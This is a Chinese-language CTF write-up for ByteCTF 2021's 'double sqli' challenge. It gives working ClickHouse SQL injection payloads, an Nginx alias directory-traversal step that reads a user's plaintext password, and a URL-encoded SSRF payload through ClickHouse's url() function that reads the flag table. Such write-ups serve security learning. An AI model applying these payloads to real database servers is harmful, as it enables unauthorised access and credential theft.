[ByteCTF 2021]double sqli
这次是一个没见过的数据库,名字为 clickhouse,官方文档:https://clickhouse.com/docs/zh/
首先通过输入$id
不为数字的时候产生报错查看查询语句为:
SELECT ByteCTF FROM hello WHERE 1 = $id
查看库名:
?id=(select name from system.databases limit 0,1) # ctf
?id=(select name from system.databases limit 0,1) # default
查看表名:
?id=(select name from system.tables limit 0,1) # hint
?id=(select name from system.tables limit 1,1) # hello
查看 hint 表:
?id=(select * from ctf.hint limit 0 ,1) # you_dont_have_permissions_to_read_flag
查看 flag 表:
?id=(select * from ctf.flag limit 0 ,1)
# DB::Exception: user_02: Not enough privileges. To execute this query it's necessary to have grant SELECT(flag) ON ctf.flag
会提示报错没有当前的user_02用户没有读 flag 表的权限。
Nginx 配置错误导致目录穿越
原理:Nginx在配置别名(Alias)的时候,如果忘记加/,将造成一个目录穿越漏洞。
example:修改 nginx.conf,在如下图位置添加如下配置
在如下配置中设置目录别名时 /files 配置为 /home/ 的别名,那么当我们访问 /files…/ 时,nginx实际处理的路径时 /home/…/ ,从而实现了穿越目录。正确的写法为 /files/ 。
回到题目存在这个漏洞,在 /files../var/lib/clickhouse/access/ 目录下找到两个sql的配置文件,对应user_01和user_02,不过只有user_01的配置文件能够访问。
查看user_01的配置文件可看到登陆密码。
ATTACH USER user_01 IDENTIFIED WITH plaintext_password BY 'e3b0c44298fc1c149afb';
ATTACH GRANT SELECT ON ctf.* TO user_01;
利用url()
函数进行SSRF
HTTP客户端
查看 clickhouse 文档可以看到其提供一个HTTP接口: https://clickhouse.com/docs/zh/interfaces/http/
默认情况下,clickhouse-server
会在8123
端口上监控HTTP请求(这可以在配置中修改)。
通过URL中的 query
参数来发送请求,或者发送POST请求,或者将查询的开头部分放在URL的query
参数中,其他部分放在POST中。同时可以通过URL参数中的user
和password
来指定用户登陆到数据库。
example:
http://localhost:8123/?user=user&password=password&query=SELECT 1
url()
再次寻找文档发现url()
函数能够发起 HTTP 请求: https://clickhouse.com/docs/zh/sql-reference/table-functions/url/
url(URL, format, structure)
url
函数从 URL
创建一个具有给定 format
和 structure
的表。
url
函数可用于对URL表中的数据进行 SELECT
和 INSERT
的查询中。
参数
URL
— HTTP或HTTPS服务器地址,它可以接受GET
或POST
请求 (对应于SELECT
或INSERT
查询)。类型: String。format
— 数据格式。类型: String。structure
— 以'UserID UInt64, Name String'
格式的表结构。确定列名和类型。 类型: String。
example:
获取一个表的前3行,该表是从HTTP服务器获取的包含 String
和 UInt32 类型的列,以CSV格式返回。
SELECT * FROM url('http://127.0.0.1:8123/', CSV, 'column1 String, column2 UInt32') LIMIT 3;
利用
我们可以借此连接上数据库的HTTP客户端接口并使用服务器上的 clickHouse_client 来切换到 user_01 用户,并用 user_01 用户的权限来执行查询命令。
SELECT * FROM url("http://127.0.0.1:8123/?user=user_01&password=e3b0c44298fc1c149afb&query=select+flag+from+ctf.flag", CSV, 'column String')
所以请求url:
?id=0%20OR%20(SELECT%20*%20FROM%20url(%22http%3A%2F%2F0.0.0.0%3A8123%2F%3Fuser%3Duser_01%26password%3De3b0c44298fc1c149afb%26query%3Dselect%2Bflag%2Bfrom%2Bctf.flag%22%2C%20CSV%2C%20'column%20String'))
注意这里的+
号必须要编码为%2b
,因为还需要作为url再进行一次请求